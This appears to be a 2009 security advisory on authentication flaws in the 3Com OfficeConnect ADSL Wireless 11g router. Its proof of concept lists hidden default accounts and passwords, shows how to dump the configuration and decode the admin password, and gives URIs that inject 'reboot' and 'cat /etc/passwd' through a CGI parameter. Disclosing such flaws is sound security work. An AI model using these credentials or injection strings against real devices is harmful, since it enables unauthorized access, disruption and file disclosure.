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Title	3Com OfficeConnect ADSL Wireless 11g Firewall Router Authentication Multiple Remote Vulnerabilities
Published	2009-10-19-12:00AM
Updated	2009-10-19-07:18PM
Class	Access Validation Error
CVE
Remote	Yes
Local	No
Credit	Andrea Fabrizi
Vulnerable	3Com OfficeConnect ADSL Wireless 11g Firewall Router 3.0
Not Vulnerable
Code	Attackers can use readily available tools to exploit these issues.These example URIs and proof of concept demonstrate the issues:1) SSH/Telnet to router using one of these hidden accounts: support:support user:5 nobody:admin 2) Type 9 3) Type 1 3) Type 3 to dump the configuration 4) Locate the sysPassword field: <sysPassword value="cXdlcnR5Cg=="/> 5) Decode the admin password: roland@hp6720s:~$ echo -ne "cXdlcnR5Cg==" | base64 -d qwertyhttp://www.example.com/utility.cgi?testType=1&IP=aaa || reboot http://www.example.com/utility.cgi?testType=1&IP=aaa || cat /etc/passwd
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